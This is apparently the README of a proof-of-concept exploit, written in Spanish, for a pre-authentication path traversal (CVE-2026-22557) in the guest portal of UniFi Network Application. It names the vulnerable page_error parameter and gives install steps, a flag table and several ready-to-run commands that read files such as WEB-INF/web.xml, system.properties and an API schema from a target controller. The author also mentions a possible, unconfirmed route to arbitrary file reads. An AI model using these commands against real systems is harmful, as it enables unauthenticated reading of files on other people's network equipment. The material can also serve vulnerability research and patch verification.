
PoC para el Path Traversal Pre-Autenticación en UniFi Network Application (CVE-2026-22557)
Traversal de ruta pre-autenticado en el portal de invitados de UniFi Network Application (/guest/s/{site}/login). El parámetro de consulta page_error se pasa a un cargador de recursos sin validación, lo que permite a un atacante no autenticado leer archivos de la aplicación web (p. ej. WEB-INF/web.xml).
Si la página del portal de invitados ha sido personalizada, el cargador de recursos parece recurrir a una rama FileInputStream sin procesar que puede acceder a archivos arbitrarios del sistema subyacente fuera del contexto raíz. Aún no lo he confirmado e investigaré más a fondo si tengo tiempo.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| Flag | Descripción | Predeterminado |
|---|
target | URL del objetivo (p. ej. https://host:8843) | (obligatorio) |
-f | Ruta relativa a leer | ../../web.xml |
-g | Ruta del portal de invitados | /guest/s/default/login |
-o | Escribir la respuesta en un archivo | (salida estándar) |
-x | URL del proxy | (ninguno) |

# Predeterminado -- leer WEB-INF/web.xml (portal de invitados HTTPS)
python CVE-2026-22557.py https://192.168.1.1:8843
# Portal de invitados HTTP
python CVE-2026-22557.py http://192.168.1.1:8880
# Leer recurso del classpath
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# Leer el esquema de la API y guardarlo en un archivo
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Nombre de sitio diferente
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# A través de un proxy
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080